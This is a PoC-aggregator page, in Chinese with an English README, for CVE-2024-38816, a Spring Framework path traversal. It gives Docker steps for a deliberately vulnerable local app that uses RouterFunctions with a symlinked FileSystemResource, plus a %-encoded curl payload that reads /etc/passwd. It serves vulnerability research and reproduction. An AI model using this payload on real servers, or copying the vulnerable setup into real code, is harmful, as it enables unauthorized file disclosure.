POC详情: 1eb31f21755358c27b290e4b34bfc00adc22ffff

来源
关联漏洞
标题: VMware Spring Framework 安全漏洞 (CVE-2024-38816)
描述:VMware Spring Framework是美国威睿(VMware)公司的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 VMware Spring Framework存在安全漏洞,该漏洞源于存在目录遍历漏洞,允许攻击者通过精心构造的HTTP请求访问或操作服务器上本不应该被访问的文件。受影响版本如下:5.3.0至5.3.39版本、6.0.0至6.0.23版本和6.1.0至6.1.12版本。
描述
CVE-2024-38816 Proof of Concept
介绍
# CVE-2024-38816 Proof of Concept (PoC)

This is a proof of concept for the CVE-2024-38816 vulnerability, demonstrating a path traversal exploit.

## Execution Steps
1. Build the Docker image: (Spring Boot 3.0.13, based on Spring Framework 6.0.3)
   ```
   docker build -t cve-2024-38816-poc .
   ```
2. Run the container and expose port 8080 to the host machine:
   ```
   docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
   ```
3. Run the following command to execute the PoC and confirm the vulnerability:
   ```
   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   ```

   If the contents of the `/etc/passwd` file are displayed, the vulnerability is confirmed.

## Notes
This PoC was created based on an analysis of the release notes and commit logs. The behavior of the actual vulnerability may differ, so accuracy is not guaranteed. Use at your own risk.

## Considerations
1. The vulnerability was patched in Spring Framework 6.1.13, as confirmed by the [release notes](https://github.com/spring-projects/spring-framework/releases/tag/v6.1.13).

2. Upon reviewing the release notes and related commit logs, I have identified the following two issues as potentially linked to this vulnerability:
   - [Issue #33424](https://github.com/spring-projects/spring-framework/issues/33424): A new option related to symbolic links was added.
     - Related commit: [5d80d75051f395c17f6b9367e267d458585b336d](https://github.com/spring-projects/spring-framework/commit/5d80d75051f395c17f6b9367e267d458585b336d)
   - [Issue #33434](https://github.com/spring-projects/spring-framework/issues/33434): The code for sanitizing %-encoded characters was modified.
     - Related commit: [d86bf8b2056429edf5494456cffcb2b243331c49](https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49)

3. According to the [security advisory](https://spring.io/security/cve-2024-38816), the following conditions likely need to be met for the attack to succeed:
   - `RouterFunctions` is used
   - `FileSystemResource` is used
   - Symbolic links are present
   - %-encoded characters are involved in the attack

## Environment Setup
A Docker environment is used to reproduce the vulnerability.

1. Create `PathTraversalDemoApplication.java` with the following code to set up static file routing using `RouterFunction` and `FileSystemResource`:
    ```
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    ```

2. Add the following command to the Dockerfile to create a symbolic link:
    ```
    RUN ln -s /static /app/static/link
    ```

3. Create a payload that leverages %-encoding to traverse directories through the symbolic link.
   - Path: `/static/link/%2e%2e/etc/passwd`

4. Use the following `curl` command to execute the PoC and verify if the attack is successful:
    ```
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    ```
   If the attack is successful, the contents of the `/etc/passwd` file will be displayed.

## Disclaimer
This PoC is provided for educational and security research purposes. Before using this in a real system, ensure the vulnerability has been fixed and you have proper authorization. The author takes no responsibility for any misuse of this code.
文件快照

[4.0K] /data/pocs/1eb31f21755358c27b290e4b34bfc00adc22ffff ├── [ 479] build.gradle ├── [ 550] Dockerfile ├── [1.0K] LICENSE ├── [3.3K] README.md └── [4.0K] src └── [4.0K] main └── [4.0K] java └── [4.0K] com └── [4.0K] example └── [ 841] PathTraversalDemoApplication.java 5 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。